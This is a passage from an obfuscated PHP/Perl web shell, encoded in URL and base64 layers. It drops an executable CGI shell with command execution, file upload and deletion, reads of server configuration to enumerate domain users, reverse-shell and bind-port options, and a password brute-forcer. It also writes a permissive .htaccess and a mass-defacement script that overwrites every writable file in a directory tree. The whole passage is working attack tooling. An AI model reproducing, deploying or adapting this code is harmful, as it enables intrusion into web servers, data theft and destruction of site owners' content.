QoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc%2BDQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI%2BUmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc%2BUmVtb3ZlPC9hPjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI%2BIjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E%2BPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc%2FYT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic%2BRWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E%2BIHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic%2BRG93bmxvYWQ8L2E%2BIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E%2BPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc%2BSG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ%2BPC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A%2BJyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU%2BPHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI%2BJzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio%2FKSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ%2BPC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU%2BJzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI%2BPGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI%2BIjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg%2BUGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI%2BIjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI%2BDQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8%2BPC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ%2BDQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU%2BIjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ%2FImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4%2BPGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4%2BPGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI%2BIjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4%2BIFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI%2BIjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI%2BIjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4%2BIFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI%2BIjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4%2BIERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw%3D%3D%22%3B%20%24cgi%20%3D%20fopen%28%24file%5fcgi%2C%20%22w%22%29%3B%20fwrite%28%24cgi%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24cgi%5fscript%29%29%3B%20fwrite%28%24htcgi%2C%20%24isi%5fhtcgi%29%3B%20chmod%28%24file%5fcgi%2C%200755%29%3B%20chmod%28%24memeg%2C%200755%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3EDone%20...%20%3Ca%20href%3D%27.tmp%5fcgi%2Fcgi.hex%27%20target%3D%27%5fblank%27%3EClick%20Here%3C%2Fa%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSql%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20Tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22df.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI%2BICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI%2BPC9jZW50ZXI%2BIjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc%2BIFstXSBGYWlsZWQgOiggPC9zdHJvbmc%2BPC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U%2BREVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI%2BIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI%2BPFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc%2BPHN0cm9uZz4kZGlyci88L3NwYW4%2BJGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI%2BIjsKICAgIGVjaG8gIjxjZW50ZXI%2BPGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM%2BPC9jZW50ZXI%2BPGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5I